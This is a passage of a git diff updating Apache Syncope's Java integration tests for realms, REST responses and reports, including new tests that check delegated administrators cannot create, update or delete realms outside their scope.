GROUP_SERVICE.read("29f96485-729e-4d31-88a1-6fc60e4677f3"); + assertTrue(StringUtils.isNotBlank(groupTO.getUDynMembershipCond())); + assertFalse(groupTO.getADynMembershipConds().isEmpty()); + + //Restore group citizen + groupUR.setUDynMembershipCond(null); + groupUR.getADynMembershipConds().clear(); + groupTO = updateGroup(groupUR).getEntity(); + + assertTrue(StringUtils.isBlank(groupTO.getUDynMembershipCond())); + assertTrue(groupTO.getADynMembershipConds().isEmpty()); + } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RESTITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RESTITCase.java index 76fc82a3b1d..23102e45c7d 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RESTITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RESTITCase.java @@ -25,8 +25,6 @@ import static org.junit.jupiter.api.Assertions.fail; import java.io.IOException; -import java.io.InputStream; -import java.nio.charset.StandardCharsets; import java.security.AccessControlException; import java.util.List; import javax.ws.rs.ForbiddenException; @@ -36,7 +34,6 @@ import javax.ws.rs.core.MediaType; import javax.ws.rs.core.MultivaluedMap; import javax.ws.rs.core.Response; -import org.apache.commons.io.IOUtils; import org.apache.commons.lang3.RandomStringUtils; import org.apache.commons.lang3.StringUtils; import org.apache.cxf.jaxrs.client.WebClient; @@ -81,7 +78,7 @@ public void unauthorizedOrForbidden() { // service with invalid JWT string: 401 unauthorized try { - CLIENT_FACTORY.create(RandomStringUtils.random(20, true, true)).self(); + CLIENT_FACTORY.create(RandomStringUtils.insecure().next(20, true, true)).self(); fail("This should not happen"); } catch (AccessControlException e) { assertNotNull(e); @@ -108,9 +105,7 @@ public void noContent() throws IOException { Response response = noContentService.create(groupCR); assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); assertEquals(Preference.RETURN_NO_CONTENT.toString(), response.getHeaderString(RESTHeaders.PREFERENCE_APPLIED)); - assertEquals( - StringUtils.EMPTY, - IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8)); + assertEquals(StringUtils.EMPTY, response.readEntity(String.class)); GroupTO group = getObject(response.getLocation(), GroupService.class, GroupTO.class); assertNotNull(group); @@ -122,16 +117,12 @@ public void noContent() throws IOException { response = noContentService.update(groupUR); assertEquals(Response.Status.NO_CONTENT.getStatusCode(), response.getStatus()); assertEquals(Preference.RETURN_NO_CONTENT.toString(), response.getHeaderString(RESTHeaders.PREFERENCE_APPLIED)); - assertEquals( - StringUtils.EMPTY, - IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8)); + assertEquals(StringUtils.EMPTY, response.readEntity(String.class)); response = noContentService.delete(group.getKey()); assertEquals(Response.Status.NO_CONTENT.getStatusCode(), response.getStatus()); assertEquals(Preference.RETURN_NO_CONTENT.toString(), response.getHeaderString(RESTHeaders.PREFERENCE_APPLIED)); - assertEquals( - StringUtils.EMPTY, - IOUtils.toString((InputStream) response.getEntity(), StandardCharsets.UTF_8)); + assertEquals(StringUtils.EMPTY, response.readEntity(String.class)); } @Test @@ -178,6 +169,7 @@ public void defaultContentType() { factory.getExceptionMapper(), new BasicAuthenticationHandler(ADMIN_UNAME, ADMIN_PWD), false, + null, null); // perform operation @@ -195,16 +187,14 @@ public void defaultContentType() { @Test public void exportInternalStorageContent() throws IOException { - Response response = SYNCOPE_SERVICE.exportInternalStorageContent(); + Response response = SYNCOPE_SERVICE.exportInternalStorageContent(100); assertNotNull(response); assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); assertTrue(response.getMediaType().toString().startsWith(MediaType.TEXT_XML)); String contentDisposition = response.getHeaderString(HttpHeaders.CONTENT_DISPOSITION); assertNotNull(contentDisposition); - Object entity = response.getEntity(); - assertTrue(entity instanceof InputStream); - String configExport = IOUtils.toString((InputStream) entity, StandardCharsets.UTF_8.name()); + String configExport = response.readEntity(String.class); assertFalse(configExport.isEmpty()); assertTrue(configExport.length() > 1000); } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RealmITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RealmITCase.java index 2be1f8767ce..358a591e7cd 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RealmITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/RealmITCase.java @@ -18,6 +18,7 @@ */ package org.apache.syncope.fit.core; +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotNull; @@ -28,9 +29,9 @@ import java.util.List; import java.util.Optional; import java.util.UUID; +import javax.ws.rs.NotFoundException; import javax.ws.rs.core.GenericType; import javax.ws.rs.core.Response; -import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.policy.AccessPolicyTO; @@ -41,12 +42,16 @@ import org.apache.syncope.common.lib.policy.DefaultAccountRuleConf; import org.apache.syncope.common.lib.policy.DefaultAttrReleasePolicyConf; import org.apache.syncope.common.lib.policy.DefaultAuthPolicyConf; +import org.apache.syncope.common.lib.request.UserCR; import org.apache.syncope.common.lib.to.ImplementationTO; import org.apache.syncope.common.lib.to.PagedResult; import org.apache.syncope.common.lib.to.ProvisioningResult; import org.apache.syncope.common.lib.to.RealmTO; +import org.apache.syncope.common.lib.to.RoleTO; +import org.apache.syncope.common.lib.to.UserTO; import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.ExecStatus; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.common.lib.types.IdRepoImplementationType; import org.apache.syncope.common.lib.types.ImplementationEngine; import org.apache.syncope.common.lib.types.PolicyType; @@ -55,36 +60,16 @@ import org.apache.syncope.common.rest.api.service.RealmService; import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; import org.apache.syncope.fit.AbstractITCase; -import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; public class RealmITCase extends AbstractITCase { - private static Optional getRealm(final String fullPath) { - return REALM_SERVICE.list(fullPath).stream().filter(realm -> fullPath.equals(realm.getFullPath())).findFirst(); - } - @Test public void search() { PagedResult match = REALM_SERVICE.search(new RealmQuery.Builder().keyword("*o*").build()); assertTrue(match.getResult().stream().allMatch(realm -> realm.getName().contains("o"))); } - @Test - public void list() { - List realms = REALM_SERVICE.list(SyncopeConstants.ROOT_REALM); - assertNotNull(realms); - assertFalse(realms.isEmpty()); - realms.forEach(Assertions::assertNotNull); - - try { - REALM_SERVICE.list("a name"); - fail("This should not happen"); - } catch (SyncopeClientException e) { - assertEquals(ClientExceptionType.InvalidPath, e.getType()); - } - } - @Test public void createUpdate() { RealmTO realm = new RealmTO(); @@ -92,10 +77,8 @@ public void createUpdate() { // 1. create Response response = REALM_SERVICE.create("/even/two", realm); - RealmTO[] actuals = getObject(response.getLocation(), RealmService.class, RealmTO[].class); - assertNotNull(actuals); - assertTrue(actuals.length > 0); - RealmTO actual = actuals[0]; + RealmTO actual = getRealm(response.getHeaderString(RESTHeaders.RESOURCE_KEY)). + orElseThrow(() -> new NotFoundException()); assertNotNull(actual.getKey()); assertEquals("last", actual.getName()); assertEquals("/even/two/last", actual.getFullPath()); @@ -126,8 +109,8 @@ public void createUpdate() { assertNotNull(actual); assertEquals("/odd/last", actual.getFullPath()); - assertEquals(1, REALM_SERVICE.list(SyncopeConstants.ROOT_REALM).stream(). - filter(object -> realm.getName().equals(object.getName())).count()); + assertEquals(1, REALM_SERVICE.search(new RealmQuery.Builder().base(SyncopeConstants.ROOT_REALM).build()). + getResult().stream().filter(r -> realm.getName().equals(r.getName())).count()); // 4. create under invalid path try { @@ -154,7 +137,8 @@ public void createWithTilde() { Response response = REALM_SERVICE.create("/even/two", realm); assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatus()); - List realms = REALM_SERVICE.list("/even/two/73~1~19534"); + List realms = REALM_SERVICE.search(new RealmQuery.Builder(). + base("/even/two/73~1~19534").build()).getResult(); assertEquals(1, realms.size()); assertEquals(realm.getName(), realms.get(0).getName()); } @@ -186,20 +170,16 @@ public void deletingAccountPolicy() { realm.setName("withPolicy"); response = REALM_SERVICE.create(SyncopeConstants.ROOT_REALM, realm); - RealmTO[] actuals = getObject(response.getLocation(), RealmService.class, RealmTO[].class); - assertNotNull(actuals); - assertTrue(actuals.length > 0); - realm = actuals[0]; + realm = getRealm(response.getHeaderString(RESTHeaders.RESOURCE_KEY)). + orElseThrow(() -> new NotFoundException()); String existingAccountPolicy = realm.getAccountPolicy(); realm.setAccountPolicy(policy.getKey()); REALM_SERVICE.update(realm); - actuals = getObject(response.getLocation(), RealmService.class, RealmTO[].class); - assertNotNull(actuals); - assertTrue(actuals.length > 0); - RealmTO actual = actuals[0]; + RealmTO actual = getRealm(response.getHeaderString(RESTHeaders.RESOURCE_KEY)). + orElseThrow(() -> new NotFoundException()); assertEquals(policy.getKey(), actual.getAccountPolicy()); // 3. remove policy @@ -227,20 +207,16 @@ public void deletingAuthPolicy() { realm.setName("withAuthPolicy"); Response response = REALM_SERVICE.create(SyncopeConstants.ROOT_REALM, realm); - RealmTO[] actuals = getObject(response.getLocation(), RealmService.class, RealmTO[].class); - assertNotNull(actuals); - assertTrue(actuals.length > 0); - realm = actuals[0]; + realm = getRealm(response.getHeaderString(RESTHeaders.RESOURCE_KEY)). + orElseThrow(() -> new NotFoundException()); String existingAuthPolicy = realm.getAuthPolicy(); realm.setAuthPolicy(policy.getKey()); REALM_SERVICE.update(realm); - actuals = getObject(response.getLocation(), RealmService.class, RealmTO[].class); - assertNotNull(actuals); - assertTrue(actuals.length > 0); - RealmTO actual = actuals[0]; + RealmTO actual = getRealm(response.getHeaderString(RESTHeaders.RESOURCE_KEY)). + orElseThrow(() -> new NotFoundException()); assertEquals(policy.getKey(), actual.getAuthPolicy()); // 3. remove policy @@ -255,7 +231,7 @@ public void deletingAuthPolicy() { public void deletingAccessPolicy() { // 1. create access policy DefaultAccessPolicyConf conf = new DefaultAccessPolicyConf(); - conf.getRequiredAttrs().add(new Attr.Builder("cn").values("admin", "Admin", "TheAdmin").build()); + conf.getRequiredAttrs().put("cn", "admin,Admin,TheAdmin"); AccessPolicyTO policy = new AccessPolicyTO(); policy.setName("Test Access policy"); @@ -268,20 +244,16 @@ public void deletingAccessPolicy() { realm.setName("withAccessPolicy"); Response response = REALM_SERVICE.create(SyncopeConstants.ROOT_REALM, realm); - RealmTO[] actuals = getObject(response.getLocation(), RealmService.class, RealmTO[].class); - assertNotNull(actuals); - assertTrue(actuals.length > 0); - realm = actuals[0]; + realm = getRealm(response.getHeaderString(RESTHeaders.RESOURCE_KEY)). + orElseThrow(() -> new NotFoundException()); String existingAccessPolicy = realm.getAccessPolicy(); realm.setAccessPolicy(policy.getKey()); REALM_SERVICE.update(realm); - actuals = getObject(response.getLocation(), RealmService.class, RealmTO[].class); - assertNotNull(actuals); - assertTrue(actuals.length > 0); - RealmTO actual = actuals[0]; + RealmTO actual = getRealm(response.getHeaderString(RESTHeaders.RESOURCE_KEY)). + orElseThrow(() -> new NotFoundException()); assertEquals(policy.getKey(), actual.getAccessPolicy()); // 3. remove policy @@ -310,20 +282,16 @@ public void deletingAttributeReleasePolicy() { realm.setName("withAttrReleasePolicy"); Response response = REALM_SERVICE.create(SyncopeConstants.ROOT_REALM, realm); - RealmTO[] actuals = getObject(response.getLocation(), RealmService.class, RealmTO[].class); - assertNotNull(actuals); - assertTrue(actuals.length > 0); - realm = actuals[0]; + realm = getRealm(response.getHeaderString(RESTHeaders.RESOURCE_KEY)). + orElseThrow(() -> new NotFoundException()); String existingAttrReleasePolicy = realm.getAttrReleasePolicy(); realm.setAttrReleasePolicy(policy.getKey()); REALM_SERVICE.update(realm); - actuals = getObject(response.getLocation(), RealmService.class, RealmTO[].class); - assertNotNull(actuals); - assertTrue(actuals.length > 0); - RealmTO actual = actuals[0]; + RealmTO actual = getRealm(response.getHeaderString(RESTHeaders.RESOURCE_KEY)). + orElseThrow(() -> new NotFoundException()); assertEquals(policy.getKey(), actual.getAttrReleasePolicy()); // 3. remove policy @@ -340,15 +308,13 @@ public void delete() { realm.setName("deletable3"); Response response = REALM_SERVICE.create("/even/two", realm); - RealmTO[] actuals = getObject(response.getLocation(), RealmService.class, RealmTO[].class); - assertNotNull(actuals); - assertTrue(actuals.length > 0); - RealmTO actual = actuals[0]; + RealmTO actual = getRealm(response.getHeaderString(RESTHeaders.RESOURCE_KEY)). + orElseThrow(() -> new NotFoundException()); REALM_SERVICE.delete(actual.getFullPath()); try { - REALM_SERVICE.list(actual.getFullPath()); + REALM_SERVICE.search(new RealmQuery.Builder().base(actual.getFullPath()).build()); fail("This should not happen"); } catch (SyncopeClientException e) { assertEquals(ClientExceptionType.NotFound, e.getType()); @@ -427,7 +393,7 @@ public void propagate() { @Test public void issueSYNCOPE1472() { // 1. assign twice resource-ldap-orgunit to /odd - RealmTO realmTO = REALM_SERVICE.list("/odd").get(0); + RealmTO realmTO = REALM_SERVICE.search(new RealmQuery.Builder().base("/odd").build()).getResult().get(0); realmTO.getResources().clear(); realmTO.getResources().add("resource-ldap-orgunit"); realmTO.getResources().add("resource-ldap-orgunit"); @@ -442,4 +408,73 @@ public void issueSYNCOPE1472() { assertFalse(realmTO.getResources().contains("resource-ldap-orgunit"), "Should not contain removed resources"); } + + @Test + public void issueSYNCOPE1856() { + // CREATE ROLE + RoleTO role = new RoleTO(); + role.getEntitlements().addAll( + List.of(IdRepoEntitlement.REALM_SEARCH, IdRepoEntitlement.REALM_CREATE, + IdRepoEntitlement.REALM_UPDATE, IdRepoEntitlement.REALM_DELETE)); + role.getRealms().add("/even"); + role.setKey("REALM_ADMIN"); + role = createRole(role); + + // CREATE REALM MANAGER + UserCR userCR = UserITCase.getUniqueSample("manager@syncope.apache.org"); + userCR.setRealm("/even"); + userCR.getRoles().add(role.getKey()); + UserTO manager = createUser(userCR).getEntity(); + RealmService managerRealmService = CLIENT_FACTORY.create( + manager.getUsername(), "password123").getService(RealmService.class); + + RealmTO childRealm = null; + try { + // MANAGER CANNOT CREATE REALM CHILD OF / + RealmTO realmTO = new RealmTO(); + realmTO.setName("child"); + try { + managerRealmService.create(SyncopeConstants.ROOT_REALM, realmTO); + fail(); + } catch (SyncopeClientException e) { + assertEquals(ClientExceptionType.DelegatedAdministration, e.getType()); + } + + Response response = REALM_SERVICE.create(SyncopeConstants.ROOT_REALM, realmTO); + assertEquals(Response.Status.CREATED.getStatusCode(), response.getStatusInfo().getStatusCode()); + childRealm = REALM_SERVICE.search(new RealmQuery.Builder(). + base(SyncopeConstants.ROOT_REALM).keyword("child").build()).getResult().get(0); + + // MANAGER CANNOT UPDATE /child + try { + managerRealmService.update(childRealm); + fail(); + } catch (SyncopeClientException e) { + assertEquals(ClientExceptionType.DelegatedAdministration, e.getType()); + } + + // MANAGER CANNOT DELETE /child + try { + managerRealmService.delete(childRealm.getFullPath()); + fail(); + } catch (SyncopeClientException e) { + assertEquals(ClientExceptionType.DelegatedAdministration, e.getType()); + } + } finally { + Optional.ofNullable(childRealm).ifPresent(r -> REALM_SERVICE.delete(r.getFullPath())); + USER_SERVICE.delete(manager.getKey()); + ROLE_SERVICE.delete(role.getKey()); + } + } + + @Test + public void issueSYNCOPE1871() { + PagedResult result = REALM_SERVICE.search(new RealmQuery.Builder().base("/odd").base("/even").build()); + assertDoesNotThrow(() -> result.getResult().stream(). + filter(r -> "odd".equals(r.getName())).findFirst().orElseThrow()); + assertDoesNotThrow(() -> result.getResult().stream(). + filter(r -> "even".equals(r.getName())).findFirst().orElseThrow()); + assertDoesNotThrow(() -> result.getResult().stream(). + filter(r -> "two".equals(r.getName())).findFirst().orElseThrow()); + } } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ReconciliationITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ReconciliationITCase.java index 79d1e480ce3..004cafb1efd 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ReconciliationITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ReconciliationITCase.java @@ -191,7 +191,7 @@ public void importSingle() { new ReconQuery.Builder(PRINTER, RESOURCE_NAME_DBSCRIPTED).fiql("ID==" + externalKey).build(), pullTask); // 4. verify reconciliation result - AnyObjectTO printer = ANY_OBJECT_SERVICE.read(externalName); + AnyObjectTO printer = ANY_OBJECT_SERVICE.read(PRINTER, externalName); assertNotNull(printer); } diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ReportITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ReportITCase.java index 0e359c9e898..110cadc5460 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ReportITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ReportITCase.java @@ -26,8 +26,6 @@ import static org.junit.jupiter.api.Assertions.fail; import java.io.IOException; -import java.io.InputStream; -import java.nio.charset.StandardCharsets; import java.time.OffsetDateTime; import java.util.List; import java.util.Set; @@ -35,29 +33,21 @@ import java.util.concurrent.atomic.AtomicReference; import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.Response; -import org.apache.commons.io.IOUtils; import org.apache.syncope.common.lib.SyncopeClientException; -import org.apache.syncope.common.lib.report.AuditReportletConf; -import org.apache.syncope.common.lib.report.UserReportletConf; -import org.apache.syncope.common.lib.to.AuditConfTO; import org.apache.syncope.common.lib.to.ExecTO; -import org.apache.syncope.common.lib.to.ImplementationTO; import org.apache.syncope.common.lib.to.ReportTO; -import org.apache.syncope.common.lib.types.AuditElements; -import org.apache.syncope.common.lib.types.AuditLoggerName; import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.IdRepoImplementationType; -import org.apache.syncope.common.lib.types.ImplementationEngine; -import org.apache.syncope.common.lib.types.ReportExecExportFormat; -import org.apache.syncope.common.lib.types.ReportExecStatus; import org.apache.syncope.common.rest.api.RESTHeaders; import org.apache.syncope.common.rest.api.batch.BatchResponseItem; import org.apache.syncope.common.rest.api.beans.ExecQuery; import org.apache.syncope.common.rest.api.beans.ExecSpecs; -import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; +import org.apache.syncope.core.provisioning.java.job.report.ReportJob; import org.apache.syncope.fit.AbstractITCase; +import org.apache.syncope.fit.core.reference.SampleReportJobDelegate; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; +import org.springframework.http.MediaType; public class ReportITCase extends AbstractITCase { @@ -76,17 +66,17 @@ protected static String execReport(final String reportKey) { } }); ExecTO exec = reportTO.get().getExecutions().get(reportTO.get().getExecutions().size() - 1); - assertEquals(ReportExecStatus.SUCCESS.name(), exec.getStatus()); + assertEquals(ReportJob.Status.SUCCESS.name(), exec.getStatus()); return exec.getKey(); } @Test - public void getReportletConfs() { - Set reportletConfs = ADMIN_CLIENT.platform(). - getJavaImplInfo(IdRepoImplementationType.REPORTLET).get().getClasses(); - assertNotNull(reportletConfs); - assertFalse(reportletConfs.isEmpty()); - assertTrue(reportletConfs.contains(UserReportletConf.class.getName())); + public void getReportDelegates() { + Set reportDelegates = ANONYMOUS_CLIENT.platform(). + getJavaImplInfo(IdRepoImplementationType.REPORT_DELEGATE).get().getClasses(); + assertNotNull(reportDelegates); + assertFalse(reportDelegates.isEmpty()); + assertTrue(reportDelegates.contains(SampleReportJobDelegate.class.getName())); } @Test @@ -107,109 +97,30 @@ public void read() { } @Test - public void create() { - ImplementationTO reportlet1 = new ImplementationTO(); - reportlet1.setKey("UserReportletConf" + getUUIDString()); - reportlet1.setEngine(ImplementationEngine.JAVA); - reportlet1.setType(IdRepoImplementationType.REPORTLET); - reportlet1.setBody(POJOHelper.serialize(new UserReportletConf("first"))); - Response response = IMPLEMENTATION_SERVICE.create(reportlet1); - reportlet1.setKey(response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - - ImplementationTO reportlet2 = new ImplementationTO(); - reportlet2.setKey("UserReportletConf" + getUUIDString()); - reportlet2.setEngine(ImplementationEngine.JAVA); - reportlet2.setType(IdRepoImplementationType.REPORTLET); - reportlet2.setBody(POJOHelper.serialize(new UserReportletConf("second"))); - response = IMPLEMENTATION_SERVICE.create(reportlet2); - reportlet2.setKey(response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - + public void crud() { ReportTO report = new ReportTO(); report.setName("testReportForCreate" + getUUIDString()); - report.getReportlets().add(reportlet1.getKey()); - report.getReportlets().add(reportlet2.getKey()); - report.setTemplate("sample"); + report.setMimeType(MediaType.APPLICATION_PDF_VALUE); + report.setFileExt("pdf"); + report.setJobDelegate(SampleReportJobDelegate.class.getSimpleName()); + report.setActive(true); report = createReport(report); assertNotNull(report); ReportTO actual = REPORT_SERVICE.read(report.getKey()); assertNotNull(actual); assertEquals(actual, report); - } - - @Test - public void update() { - ImplementationTO reportlet1 = new ImplementationTO(); - reportlet1.setKey("UserReportletConf" + getUUIDString()); - reportlet1.setEngine(ImplementationEngine.JAVA); - reportlet1.setType(IdRepoImplementationType.REPORTLET); - reportlet1.setBody(POJOHelper.serialize(new UserReportletConf("first"))); - Response response = IMPLEMENTATION_SERVICE.create(reportlet1); - reportlet1.setKey(response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - - ImplementationTO reportlet2 = new ImplementationTO(); - reportlet2.setKey("UserReportletConf" + getUUIDString()); - reportlet2.setEngine(ImplementationEngine.JAVA); - reportlet2.setType(IdRepoImplementationType.REPORTLET); - reportlet2.setBody(POJOHelper.serialize(new UserReportletConf("second"))); - response = IMPLEMENTATION_SERVICE.create(reportlet2); - reportlet2.setKey(response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - ReportTO report = new ReportTO(); - report.setName("testReportForUpdate" + getUUIDString()); - report.getReportlets().add(reportlet1.getKey()); - report.getReportlets().add(reportlet2.getKey()); - report.setTemplate("sample"); - - report = createReport(report); - assertNotNull(report); - assertEquals(2, report.getReportlets().size()); - - ImplementationTO reportlet3 = new ImplementationTO(); - reportlet3.setKey("UserReportletConf" + getUUIDString()); - reportlet3.setEngine(ImplementationEngine.JAVA); - reportlet3.setType(IdRepoImplementationType.REPORTLET); - reportlet3.setBody(POJOHelper.serialize(new UserReportletConf("last"))); - response = IMPLEMENTATION_SERVICE.create(reportlet3); - reportlet3.setKey(response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - - report.getReportlets().add(reportlet3.getKey()); + report = actual; + report.setMimeType("text/csv"); + report.setFileExt("csv"); REPORT_SERVICE.update(report); - ReportTO updated = REPORT_SERVICE.read(report.getKey()); - assertNotNull(updated); - assertEquals(3, updated.getReportlets().size()); - } - - @Test - public void delete() { - ImplementationTO reportlet1 = new ImplementationTO(); - reportlet1.setKey("UserReportletConf" + getUUIDString()); - reportlet1.setEngine(ImplementationEngine.JAVA); - reportlet1.setType(IdRepoImplementationType.REPORTLET); - reportlet1.setBody(POJOHelper.serialize(new UserReportletConf("first"))); - Response response = IMPLEMENTATION_SERVICE.create(reportlet1); - reportlet1.setKey(response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - - ImplementationTO reportlet2 = new ImplementationTO(); - reportlet2.setKey("UserReportletConf" + getUUIDString()); - reportlet2.setEngine(ImplementationEngine.JAVA); - reportlet2.setType(IdRepoImplementationType.REPORTLET); - reportlet2.setBody(POJOHelper.serialize(new UserReportletConf("second"))); - response = IMPLEMENTATION_SERVICE.create(reportlet2); - reportlet2.setKey(response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - - ReportTO report = new ReportTO(); - report.setName("testReportForDelete" + getUUIDString()); - report.getReportlets().add(reportlet1.getKey()); - report.getReportlets().add(reportlet2.getKey()); - report.setTemplate("sample"); - - report = createReport(report); - assertNotNull(report); + actual = REPORT_SERVICE.read(report.getKey()); + assertNotNull(actual); + assertEquals("csv", actual.getFileExt()); REPORT_SERVICE.delete(report.getKey()); - try { REPORT_SERVICE.read(report.getKey()); fail("This should not happen"); @@ -218,45 +129,33 @@ public void delete() { } } - private static void checkExport(final String execKey, final ReportExecExportFormat fmt) throws IOException { - Response response = REPORT_SERVICE.exportExecutionResult(execKey, fmt); - assertNotNull(response); - assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); - assertNotNull(response.getHeaderString(HttpHeaders.CONTENT_DISPOSITION)); - assertTrue(response.getHeaderString(HttpHeaders.CONTENT_DISPOSITION).endsWith('.' + fmt.name().toLowerCase())); - - Object entity = response.getEntity(); - assertTrue(entity instanceof InputStream); - assertFalse(IOUtils.toString((InputStream) entity, StandardCharsets.UTF_8.name()).isEmpty()); - } - @Test public void executeAndExport() throws IOException { - ReportTO reportTO = REPORT_SERVICE.read("0062ea9c-924d-4ecf-9961-4492a8cc6d1b"); - reportTO.setName("executeAndExport" + getUUIDString()); - reportTO.setActive(false); - reportTO.getExecutions().clear(); - reportTO = createReport(reportTO); - assertNotNull(reportTO); + ReportTO report = REPORT_SERVICE.read("0062ea9c-924d-4ecf-9961-4492a8cc6d1b"); + report.setActive(false); + report.getExecutions().clear(); + REPORT_SERVICE.update(report); try { - execReport(reportTO.getKey()); + execReport(report.getKey()); fail("This should not happen"); } catch (SyncopeClientException e) { assertEquals(ClientExceptionType.Scheduling, e.getType()); assertTrue(e.getElements().iterator().next().contains("active")); } - reportTO.setActive(true); - REPORT_SERVICE.update(reportTO); + report.setActive(true); + REPORT_SERVICE.update(report); + + String execKey = execReport(report.getKey()); - String execKey = execReport(reportTO.getKey()); + Response response = REPORT_SERVICE.exportExecutionResult(execKey); + assertNotNull(response); + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + assertNotNull(response.getHeaderString(HttpHeaders.CONTENT_DISPOSITION)); + assertTrue(response.getHeaderString(HttpHeaders.CONTENT_DISPOSITION).endsWith(".pdf")); - checkExport(execKey, ReportExecExportFormat.XML); - checkExport(execKey, ReportExecExportFormat.HTML); - checkExport(execKey, ReportExecExportFormat.PDF); - checkExport(execKey, ReportExecExportFormat.RTF); - checkExport(execKey, ReportExecExportFormat.CSV); + assertFalse(response.readEntity(String.class).isEmpty()); } @Test @@ -268,13 +167,13 @@ public void deleteExecutions() throws IOException { // ignore } - ReportTO reportTO = REPORT_SERVICE.read("0062ea9c-924d-4ecf-9961-4492a8cc6d1b"); - reportTO.setName("deleteExecutions" + getUUIDString()); - reportTO.getExecutions().clear(); - reportTO = createReport(reportTO); - assertNotNull(reportTO); + ReportTO report = REPORT_SERVICE.read("0062ea9c-924d-4ecf-9961-4492a8cc6d1b"); + report.setName("deleteExecutions" + getUUIDString()); + report.getExecutions().clear(); + report = createReport(report); + assertNotNull(report); - String execKey = execReport(reportTO.getKey()); + String execKey = execReport(report.getKey()); assertNotNull(execKey); try { @@ -284,66 +183,13 @@ public void deleteExecutions() throws IOException { OffsetDateTime end = OffsetDateTime.now(); Response response = REPORT_SERVICE.deleteExecutions( - new ExecQuery.Builder().key(reportTO.getKey()).after(start).before(end).build()); + new ExecQuery.Builder().key(report.getKey()).after(start).before(end).build()); List batchResponseItems = parseBatchResponse(response); assertEquals(1, batchResponseItems.size()); assertEquals(execKey, batchResponseItems.get(0).getHeaders().get(RESTHeaders.RESOURCE_KEY).get(0)); assertEquals(Response.Status.OK.getStatusCode(), batchResponseItems.get(0).getStatus()); } - @Test - public void auditReport() throws IOException { - AuditLoggerName auditLoggerName = new AuditLoggerName( - AuditElements.EventCategoryType.LOGIC, - "UserLogic", - null, - "selfRead", - AuditElements.Result.SUCCESS); - - try { - AuditConfTO audit = new AuditConfTO(); - audit.setKey(auditLoggerName.toAuditKey()); - AUDIT_SERVICE.set(audit); - - ImplementationTO auditReportlet = new ImplementationTO(); - auditReportlet.setKey("UserReportletConf" + getUUIDString()); - auditReportlet.setEngine(ImplementationEngine.JAVA); - auditReportlet.setType(IdRepoImplementationType.REPORTLET); - auditReportlet.setBody(POJOHelper.serialize(new AuditReportletConf("auditReportlet" + getUUIDString()))); - Response response = IMPLEMENTATION_SERVICE.create(auditReportlet); - auditReportlet.setKey(response.getHeaderString(RESTHeaders.RESOURCE_KEY)); - - ReportTO report = new ReportTO(); - report.setName("auditReport" + getUUIDString()); - report.setActive(true); - report.getReportlets().add(auditReportlet.getKey()); - report.setTemplate("sample"); - report = createReport(report); - - String execKey = execReport(report.getKey()); - checkExport(execKey, ReportExecExportFormat.XML); - - report = REPORT_SERVICE.read(report.getKey()); - assertNotNull(report.getLastExec()); - } finally { - AUDIT_SERVICE.delete(auditLoggerName.toAuditKey()); - } - } - - @Test - public void issueSYNCOPE43() { - ReportTO reportTO = new ReportTO(); - reportTO.setName("issueSYNCOPE43" + getUUIDString()); - reportTO.setActive(true); - reportTO.setTemplate("sample"); - reportTO = createReport(reportTO); - assertNotNull(reportTO.getKey()); - - execReport(reportTO.getKey()); - reportTO = REPORT_SERVICE.read(reportTO.getKey()); - assertEquals(1, reportTO.getExecutions().size()); - } - @Test public void issueSYNCOPE102() throws IOException { // Create diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ReportTemplateITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ReportTemplateITCase.java deleted file mode 100644 index 51736c4dcdc..00000000000 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/ReportTemplateITCase.java +++ /dev/null @@ -1,197 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may 